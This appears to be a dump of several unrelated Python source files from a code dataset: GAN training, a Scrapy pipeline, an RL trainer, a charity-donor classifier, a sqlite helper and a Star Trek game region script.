compile(\n self,\n gen_G_optimizer,\n disc_Y_optimizer,\n gen_loss_fn,\n disc_loss_fn,\n ):\n super(Pix2Pix, self).compile()\n self.gen_G_optimizer = gen_G_optimizer\n self.disc_Y_optimizer = disc_Y_optimizer\n self.generator_loss_fn = gen_loss_fn\n self.discriminator_loss_fn = disc_loss_fn\n\n def train_step(self, batch_data):\n real_x, real_y = batch_data\n Lambda = self.LAMBDA\n with tf.GradientTape(persistent=True) as gen_tape, tf.GradientTape(persistent=True) as disc_tape:\n # Generate fake image\n fake_y = self.gen_G(real_x, training=True)\n\n # Discriminator output\n disc_real_y = self.disc_Y(real_y, training=True)\n disc_fake_y = self.disc_Y(fake_y, training=True)\n\n # Generator adverserial loss\n gen_G_loss = self.generator_loss_fn(disc_fake_y, fake_y, real_y, Lambda)\n\n # Discriminator loss\n disc_Y_loss = self.discriminator_loss_fn(disc_real_y, disc_fake_y)\n\n # Get the gradients for the generators\n grads_G = gen_tape.gradient(gen_G_loss, self.gen_G.trainable_variables)\n\n # Get the gradients for the discriminators\n disc_Y_grads = disc_tape.gradient(disc_Y_loss, self.disc_Y.trainable_variables)\n\n # Update the weights of the generators\n self.gen_G_optimizer.apply_gradients(\n zip(grads_G, self.gen_G.trainable_variables)\n )\n # Update the weights of the discriminators\n self.disc_Y_optimizer.apply_gradients(\n zip(disc_Y_grads, self.disc_Y.trainable_variables)\n )\n\n return {\n \"G_loss\": gen_G_loss,\n \"D_Y_loss\": disc_Y_loss,\n }\n\n\n# Loss function for evaluating adversarial loss\nloss_object = tf.keras.losses.BinaryCrossentropy(from_logits=True)\n\n# Define the loss function for the generators\ndef generator_loss_fn(disc_generated_output, gen_output, target, LAMBDA):\n gan_loss = loss_object(tf.ones_like(disc_generated_output), disc_generated_output)\n\n # mean absolute error\n l1_loss = tf.reduce_mean(tf.abs(target - gen_output))\n\n total_gen_loss = gan_loss + (LAMBDA * l1_loss)\n\n return total_gen_loss\n\n# Define the loss function for the discriminators\ndef discriminator_loss_fn(disc_real_output, disc_generated_output):\n real_loss = loss_object(tf.ones_like(disc_real_output), disc_real_output)\n\n generated_loss = loss_object(tf.zeros_like(disc_generated_output), disc_generated_output)\n\n total_disc_loss = real_loss + generated_loss\n\n return total_disc_loss\n\n\n# Create pix2pix gan model\npix2pix_gan_model = Pix2Pix(\n generator_G=gen_G, discriminator_Y=disc_Y\n)\n\n# Compile the model\npix2pix_gan_model.compile(\n gen_G_optimizer=keras.optimizers.Adam(learning_rate=2e-4, beta_1=0.5),\n disc_Y_optimizer=keras.optimizers.Adam(learning_rate=2e-4, beta_1=0.5),\n gen_loss_fn=generator_loss_fn,\n disc_loss_fn=discriminator_loss_fn,\n)\n\n\nfor count in range(10):\n # pix2pix_gan_model.fit(\n # train_dataset,\n # epochs=100,\n # )\n\n # pix2pix_gan_model.save_weights(\"./TR/models/bn_model_checkpoints_ending\")\n \n weight_file = './project/team/data/bn_model_checkpoints_ending'\n pix2pix_gan_model.load_weights(weight_file).expect_partial()\n print(\"Weights loaded successfully\")\n\n _, ax = plt.subplots(4, 2, figsize=(10, 15))\n for i, (example_input, example_target) in enumerate(test_dataset.take(4)):\n prediction = pix2pix_gan_model.gen_G(example_input, training=False)[0].numpy()\n prediction = (prediction * 127.5 + 127.5).astype(np.uint8)\n example_input = (example_input[0] * 127.5 + 127.5).numpy().astype(np.uint8)\n\n ax[i, 0].imshow(example_input)\n ax[i, 1].imshow(prediction)\n ax[i, 0].set_title(\"Input image\")\n ax[i, 0].set_title(\"Input image\")\n ax[i, 1].set_title(\"Translated image\")\n ax[i, 0].axis(\"off\")\n ax[i, 1].axis(\"off\")\n\n # prediction = keras.preprocessing.image.array_to_img(prediction)\n # prediction.save(\"predicted_img_{i}.png\".format(i=i))\n plt.tight_layout()\n # plt.savefig('./TR/output_images/bn_predict_{}.png'.format(count))\n plt.show()\n \n display.clear_output(wait=True)","sub_path":"project/team/GAN/Pix2PixGAN_BN_jupyter.py","file_name":"Pix2PixGAN_BN_jupyter.py","file_ext":"py","file_size_in_byte":13448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"443989236","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nfrom scrapy.exceptions import DropItem\nimport pymongo\nfrom itemadapter import ItemAdapter\nfrom scrapy.pipelines.images import ImagesPipeline\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nclass MongoPipeline:\n\n collection_name = 'magazine'\n\n def __init__(self, mongo_uri, mongo_db):\n self.mongo_uri = mongo_uri\n self.mongo_db = mongo_db\n\n @classmethod\n def from_crawler(cls, crawler):\n return cls(\n mongo_uri=crawler.settings.get('MONGO_URI'),\n mongo_db=crawler.settings.get('MONGO_DATABASE', 'scrapy_data')\n )\n\n def open_spider(self, spider):\n logger.debug(f\"建立mangodb连接,url:{self.mongo_uri},db:{self.mongo_db}\")\n self.client = pymongo.MongoClient(self.mongo_uri)\n self.db = self.client[self.mongo_db]\n\n def close_spider(self, spider):\n logger.debug(\"关闭mangodb连接\");\n self.client.close()\n\n def process_item(self, item, spider):\n logger.debug(f\"将item写入mongodb,collection_name:{self.collection_name},item:{ItemAdapter(item).asdict()}\")\n self.db[self.collection_name].insert_one(ItemAdapter(item).asdict())\n return item\n\n\nclass MyImagesPipeline(ImagesPipeline):\n\n def file_path(self, request, response=None, info=None, *, item=None):\n logger.debug(f\"确定图片保存路径:full/{item['journal_name']}.jpg\")\n return f'full/{item[\"journal_name\"]}.jpg'\n\n def item_completed(self, results, item, info):\n image_paths = [x['path'] for ok, x in results if ok]\n if not image_paths:\n logger.error(f\"{item['journal_url']}没有图片:处理的urls:{ItemAdapter(item).get(self.images_urls_field, [])}\")\n return item\n adapter = ItemAdapter(item)\n adapter['images_os_path'] = image_paths\n logger.debug(f\"设置好item的images_os_path属性:{ItemAdapter(item).asdict()}\")\n return item\n\n","sub_path":"scrapyDemo/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"452320281","text":"# coding=utf-8\n# Copyright 2019 The Tensor2Tensor Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Base class for RL trainers.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\nfrom absl import logging\nimport cloudpickle as pickle\nfrom tensorflow.io import gfile\n\n\nclass BaseTrainer(object):\n \"\"\"Base class for RL trainers.\"\"\"\n\n def __init__(\n self, train_env, eval_env, output_dir,\n trajectory_dump_dir=None, trajectory_dump_min_count_per_shard=16,\n ):\n \"\"\"Base class constructor.\n\n Args:\n train_env: EnvProblem to use for training. Settable.\n eval_env: EnvProblem to use for evaluation. Settable.\n output_dir: Directory to save checkpoints and metrics to.\n trajectory_dump_dir: Directory to dump trajectories to. Trajectories\n are saved in shards of name .pkl under this directory. Settable.\n trajectory_dump_min_count_per_shard: Minimum number of trajectories to\n collect before dumping in a new shard. Sharding is for efficient\n shuffling for model training in SimPLe.\n \"\"\"\n self.train_env = train_env\n self.eval_env = eval_env\n self._output_dir = output_dir\n gfile.makedirs(self._output_dir)\n self.trajectory_dump_dir = trajectory_dump_dir\n self._trajectory_dump_min_count_per_shard = (\n trajectory_dump_min_count_per_shard)\n self._trajectory_buffer = []\n\n @property\n def epoch(self):\n raise NotImplementedError\n\n def train_epoch(self):\n raise NotImplementedError\n\n def evaluate(self):\n raise NotImplementedError\n\n def save(self):\n raise NotImplementedError\n\n def flush_summaries(self):\n raise NotImplementedError\n\n def dump_trajectories(self, force=False):\n \"\"\"Dumps trajectories in a new shard.\n\n Should be called at most once per epoch.\n\n Args:\n force: (bool) Whether to complete unfinished trajectories and create\n a new shard even if we have not reached the minimum size.\n \"\"\"\n if self.trajectory_dump_dir is None:\n return\n gfile.makedirs(self.trajectory_dump_dir)\n\n trajectories = self.train_env.trajectories\n if force:\n trajectories.complete_all_trajectories()\n\n # complete_all_trajectories() also adds trajectories that were just reset.\n # We don't want them since they have just the initial observation and no\n # actions, so we filter them out.\n def has_any_action(trajectory):\n return (\n trajectory.time_steps and trajectory.time_steps[0].action is not None)\n self._trajectory_buffer.extend(\n filter(has_any_action, trajectories.completed_trajectories))\n\n trajectories.clear_completed_trajectories()\n ready = (\n len(self._trajectory_buffer) >=\n self._trajectory_dump_min_count_per_shard\n )\n if ready or force:\n shard_path = os.path.join(\n self.trajectory_dump_dir, \"{}.pkl\".format(self.epoch))\n if gfile.exists(shard_path):\n # Since we do an extra dump at the end of the training loop, we\n # sometimes dump 2 times in the same epoch. When this happens, merge the\n # two sets of trajectories.\n with gfile.GFile(shard_path, \"rb\") as f:\n self._trajectory_buffer = pickle.load(f) + self._trajectory_buffer\n with gfile.GFile(shard_path, \"wb\") as f:\n pickle.dump(self._trajectory_buffer, f)\n self._trajectory_buffer = []\n\n def training_loop(self, n_epochs, evaluate=True):\n logging.info(\"Starting the RL training loop.\")\n for _ in range(self.epoch, n_epochs):\n self.train_epoch()\n self.dump_trajectories()\n self.save()\n self.dump_trajectories(force=True)\n if evaluate:\n self.evaluate()\n self.flush_summaries()\n","sub_path":"tensorflow_learn/tensor2tensor/tensor2tensor/trax/rl/base_trainer.py","file_name":"base_trainer.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"444089431","text":"def all_true(xs):\n \tres = True\n \tfor v in xs.values():\n \t\tres = res and v\n \treturn res\n\ndef sleeping_number(n):\n\tif (n == 0):\n\t\treturn \"INSOMNIA\"\n\tdigits_seen = {}\n\tfor i in xrange(0, 10):\n\t\tdigits_seen[str(i)] = False\n\tfor c in str(n):\n\t\t\tdigits_seen[c] = True\t\n\tm = n\n\twhile not all_true(digits_seen):\n\t\tm += n\n\t\tfor c in str(m):\n\t\t\tdigits_seen[c] = True\t\t\t\n\treturn m\n\t\t\n'''for n in xrange(0, 1000000):\n\tprint sleeping_number(n) '''\n\n\ninf = open(\"a.in\", 'r')\noutf = open(\"a.out\", 'w')\n\nt = int(inf.readline())\n\nfor k in xrange(0, t):\n\tn = long(inf.readline())\t\t\n\toutf.write(\"Case #\" + str(k + 1) + \": \")\t\n\toutf.write(str(sleeping_number(n)) + \"\\n\")\noutf.close()\n\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_ilenok_a.py","file_name":"16_0_1_ilenok_a.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"483353078","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Classification of Charity Donors\n\n# Modules needed\nimport sys\n# scipy # for statistics\nimport scipy\n# numpy for array, matrix and vector calculations\nimport numpy as np\n# matplotlib for graphs\nimport pandas as pd\n# scikit-learn for machine learning\nimport sklearn\n# Load specialised libraries\nfrom pandas.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\n# model selection\nfrom sklearn import model_selection\n# kpi: evaulating the performance of the model\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score\nfrom sklearn.metrics import fbeta_score\n# the models\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neural_network import MLPClassifier\n\n# # Load and Review Data\n# Check dimensions and shape. Compute a statistical summary - count, mean, min, max and percentiles.\n\nfilename1 = 'C:/Users/lisa_/Documents/Python/Charity Donors ML/Donor_raw.csv'\ndataset = pd.read_csv(filename1)\n\nprint(dataset.shape)\nprint()\nprint(dataset.columns)\n\n# Use transpose so the result is easier to read\nprint(dataset.describe().transpose())\n\n# # Clean Data\n\n# Address missing values and duplicates. Replace missing values or characters with NaN.\n# The income of the charity donor is unlikely to be 0, so counted as missing and replaced with mean later.\n# Use the pd is null function to get count of missing values per variable. \n\n# Replace missing data expressed by NaN\nNaN_char = [\"?\", \"\", \" .\", \"-\", \"NULL\"]\nfor char in NaN_char:\n dataset = dataset.replace(char, np.nan)\n\n# The income of the prospect is very unlikely to be zero\ndataset['PER_CAPITA_INCOME'].replace(0, np.nan, inplace=True)\n\ndataset['RECENT_STAR_STATUS'] = np.where(dataset['RECENT_STAR_STATUS'] > 1,\n 0, dataset['RECENT_STAR_STATUS'])\n\n# Count the number of missing values per variable using the pandas isnull() function\n# filter on missing data variables\nmissings = dataset.isnull().sum()[dataset.isnull().sum() != 0]\nprint('Missing value per variable [5] : \\n', missings)\n\n# All variables\nall_var = ['TARGET_B', 'TARGET_D', 'CONTROL_NUMBER', 'MONTHS_SINCE_ORIGIN',\n 'DONOR_AGE', 'IN_HOUSE', 'INCOME_GROUP', 'PUBLISHED_PHONE',\n 'MOR_HIT_RATE', 'WEALTH_RATING', 'MEDIAN_HOME_VALUE',\n 'MEDIAN_HOUSEHOLD_INCOME', 'PCT_OWNER_OCCUPIED', 'PER_CAPITA_INCOME',\n 'PCT_ATTRIBUTE1', 'PCT_ATTRIBUTE2', 'PCT_ATTRIBUTE3',\n 'PCT_ATTRIBUTE4', 'PEP_STAR', 'RECENT_STAR_STATUS',\n 'FREQUENCY_STATUS_97NK', 'RECENT_RESPONSE_PROP', 'RECENT_AVG_GIFT_AMT',\n 'RECENT_CARD_RESPONSE_PROP', 'RECENT_AVG_CARD_GIFT_AMT',\n 'RECENT_RESPONSE_COUNT', 'RECENT_CARD_RESPONSE_COUNT',\n 'MONTHS_SINCE_LAST_PROM_RESP', 'LIFETIME_CARD_PROM', 'LIFETIME_PROM',\n 'LIFETIME_GIFT_AMOUNT', 'LIFETIME_GIFT_COUNT', 'LIFETIME_AVG_GIFT_AMT',\n 'LIFETIME_GIFT_RANGE', 'LIFETIME_MAX_GIFT_AMT', 'LIFETIME_MIN_GIFT_AMT',\n 'LAST_GIFT_AMT', 'CARD_PROM_12', 'NUMBER_PROM_12', 'MONTHS_SINCE_LAST_GIFT',\n 'MONTHS_SINCE_FIRST_GIFT', 'FILE_AVG_GIFT', 'FILE_CARD_GIFT']\n# target variables\nt_var = ['TARGET_B', 'TARGET_D']\n\n# categorical variables\ncate_var = ['IN_HOUSE', 'INCOME_GROUP', 'PUBLISHED_PHONE',\n 'WEALTH_RATING', 'PEP_STAR', 'RECENT_STAR_STATUS', 'FREQUENCY_STATUS_97NK',\n 'RECENT_CARD_RESPONSE_COUNT', 'URBANICITY', 'SES', 'CLUSTER_CODE',\n 'HOME_OWNER', 'DONOR_GENDER', 'OVERLAY_SOURCE', 'RECENCY_STATUS_96NK']\n\n# numerical and continuous variables including target d\nconti_var = [v for v in all_var if v not in cate_var and v not in t_var]\n\n# The mean is used to replace continuous variables\nfor v in conti_var:\n m = round(dataset[v].mean())\n dataset[v].fillna(value=m, method=None, axis=0, inplace=True)\n\n# The mode is used to replace categorical variables except target B\nfor v in cate_var:\n m = dataset[v].mode().iloc[0] # mode - return dataframe with the most frequent categories so we take the 1st iloc[]\n dataset[v].fillna(value=m, method=None, axis=0, inplace=True)\n\n# We replace the missing value for Target D by Zero / 0 as it means no donation\ndataset['TARGET_D'].fillna(value=0, method=None, axis=0, inplace=True)\n\nprint(dataset.head(7).transpose())\n\n# Any variables such as control variable and those which pair with other features are deleted.\n\ndel_var = ['CONTROL_NUMBER', 'CLUSTER_CODE', 'OVERLAY_SOURCE',\n 'PCT_ATTRIBUTE1', 'PCT_ATTRIBUTE2', 'PCT_ATTRIBUTE3',\n 'PCT_ATTRIBUTE4', 'LIFETIME_GIFT_RANGE',\n 'FILE_AVG_GIFT', 'FILE_CARD_GIFT']\n\ndataset.drop(del_var, axis=1, inplace=True)\n\n# Find any duplicates and drop them\nprint('Duplicates Number : \\n', dataset.duplicated().sum())\ndataset.drop_duplicates(subset=None, keep='first', inplace=True)\n\n# # Change Categorical Variables to 0 and 1 Boolean values.\n\nencoded_dataset = pd.get_dummies(dataset, columns=[v for v in cate_var if v not in del_var], drop_first=False)\n\n# # Box and Whisker Plots\n\n# As the features are now all numeric, box and whisker plots can be used to investigate their distribution.\n\ndataset[[v for v in conti_var if v not in del_var]].plot(kind='box', subplots=True, figsize=(20, 40),\n layout=(9, 4), sharex=False, sharey=False)\nplt.show()\n\n# # Evaluate Models\n\n# 10-fold cross validation is used for validation. This means holding out the 1st set as a test set,\n# fitting the model on the remaining folds and predicting on the test set. Then hold out a 2nd set a test set,\n# fit the model on the remaining folds and predict on the test set and so on.\n\n# Split-out validation dataset\n\n# convert the pandas dataframe into an array\narray = encoded_dataset.values\n\n# for array [rows , columns], rows separated from column by comma\n\n# features/ variables\nX = array[:, 2:] # : all rows , all columns from the seconds\n\n# target B : donation or not\n# Y needs to be one column only\nY = array[:, 0] # : all rows , first column\n\n# the percentage of the dataset in the test set\nvalidation_size = 0.20\n\n# the random seed is set to obtain a random sample\nseed = 7\n\n# Split-out validation dataset\nX_train, X_validation, Y_train, Y_validation = model_selection.train_test_split(X, Y,\n test_size=validation_size,\n random_state=seed)\n\n# Test options and evaluation metric\nseed = 7\nscoring = 'f1' # 'precision' 'recall' ' f1' \n\n# Create a list of models to test\nmodels = []\nmodels.append(('LR', LogisticRegression()))\nmodels.append(('KNN', KNeighborsClassifier()))\nmodels.append(('CART', DecisionTreeClassifier()))\nmodels.append(('NB', GaussianNB()))\nmodels.append(('RF', RandomForestClassifier()))\nmodels.append(('NN', MLPClassifier()))\n\n# Evaluate each model\nresults = []\nnames = []\nfor name, model in models:\n kfold = model_selection.KFold(n_splits=10, random_state=seed)\n cv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\n results.append(cv_results)\n names.append(name)\n msg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n print(msg)\n\n# # Choose Best Model\n# Create a plot of the model evaluation results to compare the spread and the mean accuracy of the models tested.\n\n# Compare Algorithms\nfig = plt.figure()\nfig.suptitle('Algorithm Comparison')\nax = fig.add_subplot(111)\nplt.boxplot(results)\nax.set_xticklabels(names)\nplt.show()\n\n# # Predict using Model with Highest F1 score\n\n# The model with the highest f1 score is Decision Tree. Next this model will be tested with the validation set\n# created earlier on. A validation set is used to see how the model will perform on unseen data and it can also be\n# a check of overfitting during training.\n\nnb = GaussianNB()\n# train on the full training set\nnb.fit(X_train, Y_train)\n\n# apply the model on the test set (validation set)\npredictions = nb.predict(X_validation)\n\nprint('F1 Score')\nprint(f1_score(Y_validation, predictions), '\\n')\n\ntn, fp, fn, tp = confusion_matrix(Y_validation, predictions).ravel()\nprint('Confusion Matrix')\nprint(confusion_matrix(Y_validation, predictions), '\\n')\n\nprint('True positives', tp)\nprint('False positives', fp)\nprint('True negatives', tn)\nprint('False negatives', fn, '\\n')\n\nprint('Classification Report')\nprint(classification_report(Y_validation, predictions), '\\n')\n\n# # Calculate Cost Difference in Mailling all Potential Donors vs. those Indicated by Model\n\n# Use the results of confusion matrix and average gift donated by charity donors to calculate potential cost\n# savings/loss proposed by model.\n\n# Add in the average donation and mail cost\nmail_cost = 1.00\navg_gift = 10.00\n\nmodel_gain = []\nbase_case = []\n\nfor i in range(10):\n model_gain.append(tp * avg_gift - (tp + fp) * i)\n base_case.append((tp + fn) * avg_gift - (tp + fp + tn + fn) * i)\n\nfig = plt.figure()\nax = plt.axes()\n\nx = range(10)\ny1 = model_gain\ny2 = base_case\nax.plot(x, y1, color='chartreuse', label='our model')\nax.plot(x, y2, color='fuchsia', label='base case')\nax.legend()\nplt.xlabel('mailing cost')\n\nprint('The model is advanatgeous to mailing every',\n 'potential donor once the mailing cost is above a certain value ')\n\nprint('\\n If the charity mails what the model indicates')\nprint('The model will have a return on investment of',\n round((tp * avg_gift - (tp + fp) * mail_cost) / (tp + fp) * mail_cost * 100), ' %')\nprint()\nprint('If the charity mails every one')\nprint('The charity will have a return on investment of',\n round(((tp + fn) * avg_gift - (tp + fp + tn + fn) * mail_cost) / (tp + fp + tn + fn) * 100), ' %')\n","sub_path":"Classification_Charity_Donors.py","file_name":"Classification_Charity_Donors.py","file_ext":"py","file_size_in_byte":10064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"550065433","text":"# coding: utf-8\n\nimport sqlite3\n\n\nclass sql_operation(object):\n\n \"\"\"Database Operation Functions\"\"\"\n\n def __init__(self, database_path):\n \"\"\"Initialize session\"\"\"\n self.con = sqlite3.connect(database_path)\n self.cur = self.con.cursor()\n\n def insert(self, table, data):\n \"\"\"Insert data to database\"\"\"\n self.cur.execute(\"\"\"\n INSERT INTO %s VALUES %s\n \"\"\" % (table, str(tuple(data))))\n\n def query_data(self, query):\n \"\"\"return matrix\"\"\"\n self.cur.execute(query)\n mat = []\n for element in self.cur:\n if len(element) == 1:\n mat.append(element[0])\n else:\n mat.append(list(element))\n if len(mat) == 0:\n return None\n elif len(mat) == 1:\n return mat[0]\n else:\n return mat\n\n def close(self):\n \"\"\"Close session\"\"\"\n self.cur.close()\n self.con.commit()\n self.con.close()\n","sub_path":"classifier/function/sql_operation.py","file_name":"sql_operation.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"165660252","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def hasCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n amap = {}\n node = head\n a = 0\n if not node:\n return False\n while node.next:\n amap[node] = True\n a += 1\n node = node.next\n if node in amap:\n return True\n \n return False\n","sub_path":"leetcode_solutions/linked_list_cycle.py","file_name":"linked_list_cycle.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"450261983","text":"###############################################################################\n#\tFilename:\tStarbase12.py\n#\t\n#\tConfidential and Proprietary, Copyright 2001 by Totally Games\n#\t\n#\tStarbase 12 region. Also contains Starbase 12 control room character set.\n#\t\n#\tCreated:\t1/5/01 -\tAlberto Fonseca\n###############################################################################\n\nimport App\nimport Bridge.BridgeUtils\nimport MissionLib\nimport Bridge.Characters.Graff\nimport Bridge.HelmMenuHandlers\nimport Tactical.LensFlares\n\n#NonSerializedObjects = ( \"debug\", )\n\n#debug = App.CPyDebug(__name__).Print\n#debug(\"Loading \" + __name__ + \" module...\")\n\ng_idDockAI = None\n\n###############################################################################\n#\tInitialize()\n#\t\n#\tInitialize the Starbase 12 set.\n#\t\n#\tArgs:\tpSet\t- The Starbase 12 set.\n#\t\n#\tReturn:\tnone\n###############################################################################\ndef Initialize(pSet):\n\tSetupEventHandlers(pSet)\n\n\t# Add a sun, far far away\n\tpSun = App.Sun_Create(1000.0, 1000, 500, \"data/Textures/SunBlueWhite.tga\", \"data/Textures/Effects/SunFlaresWhite.tga\")\n\tpSet.AddObjectToSet(pSun, \"Sun\")\n\t\n\t# Place the object at the specified location.\n\tpSun.PlaceObjectByName( \"Sun\" )\n\tpSun.UpdateNodeOnly()\n\n\t# Builds a Blue lens flare, attached to the sun\n\tTactical.LensFlares.BlueLensFlare(pSet, pSun)\n\n\t######\n\t# Create the Planet\n\tpPlanet = App.Planet_Create(400.0, \"data/models/environment/NewPlanets/ClassM.nif\")\n\tpSet.AddObjectToSet(pPlanet, \"New Holland\")\n\n\t# Place the object at the specified location.\n\tpPlanet.PlaceObjectByName( \"Planet1\" )\n\tpPlanet.UpdateNodeOnly()\n\n\n\n###############################################################################\n#\tSetupEventHandlers()\n#\t\n#\tSet up event handlers used by the Starbase 12 set.\n#\t\n#\tArgs:\tpSet\t- The Starbase 12 set.\n#\t\n#\tReturn:\tnone\n###############################################################################\ndef SetupEventHandlers(pSet):\n\tpGame = App.Game_GetCurrentGame()\n\tpEpisode = pGame.GetCurrentEpisode()\n\n\t# Ship entrance event\n\tApp.g_kEventManager.AddBroadcastPythonFuncHandler(App.ET_ENTERED_SET, pSet,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t__name__ + \".EnterSet\")\n\t# Ship exit event\n\tApp.g_kEventManager.AddBroadcastPythonFuncHandler(App.ET_EXITED_SET, pSet,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t__name__ + \".ExitSet\")\n\t\n###############################################################################\n#\tEnterSet(pObject, pEvent)\n#\t\n#\tEvent handler for player's ship entering this set.\n#\tCreate the Starbase 12 Control Room Set when the player enters.\n#\t\n#\tArgs:\t\n#\t\n#\tReturn:\t\n###############################################################################\ndef EnterSet(pObject, pEvent):\n\ttry:\n\t\t# Get ship entering set.\n\t\tpShip = App.ShipClass_Cast(pEvent.GetDestination())\n\n\t\t# Get player.\n\t\tpPlayer = App.Game_GetCurrentPlayer()\n\n\t\tif pShip.GetObjID() != pPlayer.GetObjID():\n\t\t\t# This ship isn't the player's ship. We're done.\n\t\t\treturn\n\texcept AttributeError:\n\t\t# Ship or Player is None. Nothing to do here.\n\t\treturn\n\n\t# The player is entering a set. If they're entering the Starbase 12\n\t# set, setup the SB12 Control Room.\n\tif pShip.GetContainingSet().GetName() == \"Starbase12\":\n\t\tSetupGraffSet()\n\n###############################################################################\n#\tSetupGraffSet()\n#\t\n#\tSetup the Starbase 12 Control Room set, so Graff can say something\n#\tif the player chooses to dock. If the set already exists, this\n#\tdoes nothing.\n#\t\n#\tArgs:\tNone\n#\t\n#\tReturn:\tNone\n###############################################################################\ndef SetupGraffSet():\n\tpSB12Set = App.g_kSetManager.GetSet(\"FedOutpostSet_Graff\")\n\tif not pSB12Set:\n\t\tpSB12Set = MissionLib.SetupBridgeSet(\"FedOutpostSet_Graff\", \"data/Models/Sets/FedOutpost/fedoutpost.nif\", -30, 65, -1.55)\n\tif not App.CharacterClass_GetObject(pSB12Set, \"Graff\"):\n\t\tMissionLib.SetupCharacter(\"Bridge.Characters.Graff\", \"FedOutpostSet_Graff\")\n\n\t# Enable dock button.\n\tpButton = Bridge.BridgeUtils.GetDockButton()\n\tif(pButton):\n\t\tpButton.SetEnabled()\n\n\n###############################################################################\n#\tExitSet(pObject, pEvent)\n#\t\n#\tEvent handler for player's ship exiting this set.\n#\tDelete the Starbase 12 Control Room Set when the player enters.\n#\n#\tArgs:\t\n#\t\n#\tReturn:\t\n###############################################################################\ndef ExitSet(pObject, pEvent):\n\ttry:\n\t\t# Get ship exiting set.\n\t\tpShip = App.ShipClass_Cast(pEvent.GetDestination())\n\n\t\t# Get player.\n\t\tpPlayer = App.Game_GetCurrentPlayer()\n\n\t\tif pShip.GetObjID() != pPlayer.GetObjID():\n\t\t\t# This ship isn't the player's ship. We're done.\n\t\t\treturn\n\texcept AttributeError:\n\t\t# Ship or Player is None. Nothing to do here.\n\t\treturn\n\n\t# The player's ship is exiting a set. Check if it's exiting\n\t# the Starbase 12 set...\n\tif pEvent.GetCString() == \"Starbase12\":\n\t\t# Delete the Starbase 12 Control Room Set.\n\t\tpStarbaseControlSet = App.g_kSetManager.GetSet(\"FedOutpostSet_Graff\")\n\t\tif pStarbaseControlSet:\n\t\t\tApp.g_kSetManager.DeleteSet(\"FedOutpostSet_Graff\")\n\t\n\t\tBridge.Characters.Graff.RemoveEventHandlers()\n\n\t\t# Disable dock button.\n\t\tpButton = Bridge.BridgeUtils.GetDockButton()\n\t\tif(pButton):\n\t\t\tpButton.SetDisabled()\n\n\t\t\n###############################################################################\n#\tDockStarbase():\n#\t\n#\tMake Player's ship dock/undock with Starbase 12.\n#\t\n#\tArgs:\tnone\n#\t\n#\tReturn:\tnone\n###############################################################################\ndef DockStarbase():\n\t# Get Player.\n\tpPlayer = MissionLib.GetPlayer()\n\tif(pPlayer is None):\n\t\treturn\n\t\n\t# Get Starbase 12 Set.\t\n\tpStarbase12Set = App.g_kSetManager.GetSet(\"Starbase12\")\n\tif(pStarbase12Set is None):\n#\t\tdebug(\"DockStarbase() unable to get Starbase 12 set.\")\n\t\treturn\n\n\t# Get Starbase 12.\n\tpStarbase12 = pStarbase12Set.GetObject(\"Starbase 12\")\n\tif(pStarbase12 is None):\n#\t\tdebug(\"DockStarbase() unable to get Starbase 12.\")\n\t\treturn\n\n\t# Check if there's a special action for Graff when the\n\t# player docks with the starbase.\n\tglobal g_idGraffAction\n\ttry:\n\t\tpGraffAction = App.TGAction_Cast( App.TGObject_GetTGObjectPtr( g_idGraffAction ) )\n\texcept NameError:\n\t\tpGraffAction = None\n\n\ttry:\n\t\tbFadeEnd = g_bFadeGraffEnd\n\texcept NameError:\n\t\tbFadeEnd = 1\n\n\t# Set AI for docking/undocking.\n\timport AI.Compound.DockWithStarbase\n\tMissionLib.SetPlayerAI(\"Helm\", AI.Compound.DockWithStarbase.CreateAI(pPlayer, pStarbase12, pGraffAction, NoRepair = not g_bRepairsEnabled, FadeEnd = bFadeEnd))\n\n###############################################################################\n#\tStarbaseRepairsEnabled\n#\t\n#\tWhen a ship docks with the starbase, this sets whether 